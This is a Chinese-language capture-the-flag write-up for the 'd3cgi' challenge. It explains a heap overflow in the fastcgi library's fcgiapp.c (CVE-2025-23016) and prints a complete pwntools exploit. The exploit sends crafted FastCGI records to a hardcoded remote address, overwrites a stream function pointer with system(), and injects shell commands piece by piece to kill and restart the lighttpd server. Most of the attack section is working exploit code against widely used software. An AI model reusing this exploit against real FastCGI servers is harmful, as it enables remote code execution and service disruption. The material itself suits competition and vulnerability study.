Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

d3cgi

漏洞点

CVE-2025-23016

fcgiapp.c#L1173

1
2
nameValue = (char *)Malloc(nameLen + valueLen + 2);
if(FCGX_GetStr(nameValue, nameLen, stream) != nameLen) {

size+2 运算造成的整型溢出导致可以 malloc 小堆块,并在写入堆块时堆溢出

fcgiapp.c#L175

fcgiapp.cL175

FCGX_GetStr 函数中调用 struct FCGX_Stream 中的 fillBuffProc 函数指针

调用条件:

  1. isReader 非 null
  2. isClosed 为 null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct FCGX_Stream {
unsigned char *rdNext; /* reader: first valid byte
* writer: equals stop */
unsigned char *wrNext; /* writer: first free byte
* reader: equals stop */
unsigned char *stop; /* reader: last valid byte + 1
* writer: last free byte + 1 */
unsigned char *stopUnget; /* reader: first byte of current buffer
* fragment, for ungetc
* writer: undefined */
int isReader; //+16 条件1:非null
int isClosed; //+20 条件2:null 截断command
int wasFCloseCalled;
int FCGI_errno; /* error status */
void (*fillBuffProc) (struct FCGX_Stream *stream);
void (*emptyBuffProc) (struct FCGX_Stream *stream, int doClose);
void *data;
} FCGX_Stream;

利用思路

  1. 对于每个请求会释放重新分配 struct FCGX_Stream ,第一次请求制造下一次请求的struct FCGX_Stream 上方的空闲堆块。然后切割 ub ,使得下一次请求 nameValue 能分配到 struct FCGX_Stream 正上方的堆块 (大小0x10)
  2. 第二次请求堆溢出篡改 struct FCGX_Stream ,劫持其中的 fillBuffProc 函数指针到 system
  3. FCGX_GetStr 函数会调用 struct FCGX_Stream 中的 fillBuffProc 函数指针,参数为struct FCGX_Stream ,此时等于执行 system(stream) 。指令长度20字符以内
  4. 靶机不出网,新建一个lighttpd默认配置,根路径设置到 /home/ctf ,然后把原来的lighttpd kill了重启一个朴素的
  5. 在浏览器访问flag文件

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.log_level='debug'


"""
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
"""

def makeHeader(type, requestId, contentLength, paddingLength):
header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
return header

"""
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""

def makeBeginReqBody(role, flags):
return p16(role)[::-1] + p8(flags) + b"\x00" * 5


def start():
#return remote('127.0.0.1',9999)
return remote('35.241.98.126',30882)


def pwn(cmdd):
io=start()
pl=b''
pl+=makeHeader(1,1,8,0)
pl+=makeBeginReqBody(1,0)
pl+=makeHeader(9,0,0x28*2+8*4,0)
pl+=(p8(0x13)+p8(0x13)+b'z'*0x26)+(p8(3)+p8(3)+b'c'*6)*4+(p8(0x13)+p8(0x13)+b'b'*0x26)

io.send(pl)
io.close()

io=start()

elf=ELF('files/challenge')
pl=b''
pl+=makeHeader(1,1,8,0)
pl+=makeBeginReqBody(1,0)
pl+=makeHeader(9,0,0x900,0)

print(cmdd)
pl+=p32(0xffffffff)*2+b'a'*0x10+cmdd+p32(0)*3+p32(elf.plt['system'])

io.send(pl)
io.interactive()

def pad(data):
padding_length = (5 - len(data)) % 5
padded_data = data + b' ' * padding_length
return padded_data


cmd=pad(b'server.document-root="/home/ctf"\nserver.port=8888\n')

for i in range(len(cmd)//5):
pwn(b' ;echo -n \''+cmd[i*5:(i+1)*5]+b'\'>>a')
pause(1)

cmd=pad(b'pkill -9 lighttpd\n./lighttpd -f a\n')

for i in range(len(cmd)//5):
pwn(b' ;echo -n \''+cmd[i*5:(i+1)*5]+b'\'>>b')
pause(1)

pwn(b' ;chmod +x b;./b'.ljust(20,b' '))

# curl http://ip:port/flag

评论




本站总访问量为 次 访客数为 人